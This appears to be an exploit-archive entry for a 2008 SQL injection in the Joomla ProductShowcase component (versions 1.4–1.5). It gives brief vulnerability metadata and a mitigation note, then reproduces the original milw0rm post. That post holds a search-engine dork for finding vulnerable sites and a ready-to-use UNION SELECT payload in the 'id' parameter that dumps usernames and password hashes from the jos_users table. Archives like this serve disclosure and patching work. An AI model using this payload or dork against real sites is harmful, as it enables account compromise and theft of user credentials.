Joomla Component com_productshowcase SQL Injection

vendor:

ProductShowcase

by:

S@BUN

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: ProductShowcase

Affected Version From: 1.4

Affected Version To: 1.5

Patch Exists: YES

Related CWE: N/A

CPE: a:numacorp:productshowcase

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Joomla Component com_productshowcase SQL Injection

An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable application. The attacker can inject arbitrary SQL code in the 'id' parameter of the 'index.php' script. This can be exploited to disclose the application's database content.

Mitigation:

The vendor has released an update to address this vulnerability. Users are advised to upgrade to the latest version.

Source

Exploit-DB raw data:

##########################################
#
# Joomla Component com_productshowcase SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
####HOME : http://securityreason.com/search/101/c0BidW4=/1/0
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORKS 1 : allinurl :"com_productshowcase"
#
###########################################
EXPLOIT :

index.php?option=com_productshowcase&Itemid=S@BUN&action=details&id=-99999/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password),0,0,0,0,0,1,1,1,1,2,3,4,5/**/from/**/jos_users/*


###########################################
##################S@BUN##################
###########################################
#####hackturkiye.hackturkiye@gmail.com#######
###########################################

	<name>ProductShowcase</name>
	<creationDate>10 July 2006</creationDate>
	<author>Numa Technologies Corporation</author>
	<copyright>Copyright Â©2006 Numa Technolgies Corporation. All Rights Reserved Worldwide.</copyright>
	<authorEmail>scott@numacorp.com</authorEmail>

	<authorUrl>www.numacorp.com</authorUrl>
	<version>1.5</version>
	<description>A Simple Product Gallery.</description>

	<version>1.4</version> << as well.

# milw0rm.com [2008-03-11]